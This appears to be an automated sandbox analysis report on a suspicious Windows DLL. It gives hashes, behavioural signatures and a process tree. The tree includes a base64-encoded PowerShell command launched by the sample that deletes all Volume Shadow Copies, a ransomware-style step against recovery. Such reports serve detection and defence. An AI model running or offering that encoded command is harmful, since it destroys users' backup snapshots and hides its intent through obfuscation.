Analysis
- max time kernel
118s - max time network
136s - platform
windows7_x64 - resource
win7-en-20211208 - submitted
24/01/2022, 00:50
Static task
static1
Behavioral task
behavioral1
Sample
e2a240bd670e9dd1374471eca22fff783aa9617ce7514b7b55be4ae4be4c30b3.dll
Resource
win7-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
e2a240bd670e9dd1374471eca22fff783aa9617ce7514b7b55be4ae4be4c30b3.dll
Resource
win10-en-20211208
0 signatures
0 seconds
General
- Target e2a240bd670e9dd1374471eca22fff783aa9617ce7514b7b55be4ae4be4c30b3.dll
- Size 166KB
- Sample220124-a645jaghhp
- SHA256 e2a240bd670e9dd1374471eca22fff783aa9617ce7514b7b55be4ae4be4c30b3
- MD5 3c21e050abbd6da896d238b7bd126523
- SHA1 b90139797ae74d60bc4b7e184383d4beb60c685d
- SHA512 7d763a1a441958670c5b5e0ca0d18d1f70926cdfcaabaf41857663ce94e5e0e141ce538a0a3bb080edb5fd9f0ffccd6dccf9cdcd3891dbe76b6029b7fc384cf8
- MD5 SHA1 SHA512
Score
6/10
Malware Config
Signatures
- Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Y: rundll32.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1716 rundll32.exe 576 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1716 rundll32.exe Token: SeDebugPrivilege 576 powershell.exe Token: SeBackupPrivilege 1788 vssvc.exe Token: SeRestorePrivilege 1788 vssvc.exe Token: SeAuditPrivilege 1788 vssvc.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 1908 wrote to memory of 1716 1908 rundll32.exe 27 PID 1908 wrote to memory of 1716 1908 rundll32.exe 27 PID 1908 wrote to memory of 1716 1908 rundll32.exe 27 PID 1908 wrote to memory of 1716 1908 rundll32.exe 27 PID 1908 wrote to memory of 1716 1908 rundll32.exe 27 PID 1908 wrote to memory of 1716 1908 rundll32.exe 27 PID 1908 wrote to memory of 1716 1908 rundll32.exe 27 PID 1716 wrote to memory of 576 1716 rundll32.exe 28 PID 1716 wrote to memory of 576 1716 rundll32.exe 28 PID 1716 wrote to memory of 576 1716 rundll32.exe 28 PID 1716 wrote to memory of 576 1716 rundll32.exe 28
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e2a240bd670e9dd1374471eca22fff783aa9617ce7514b7b55be4ae4be4c30b3.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\e2a240bd670e9dd1374471eca22fff783aa9617ce7514b7b55be4ae4be4c30b3.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:576
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-
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1004
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1788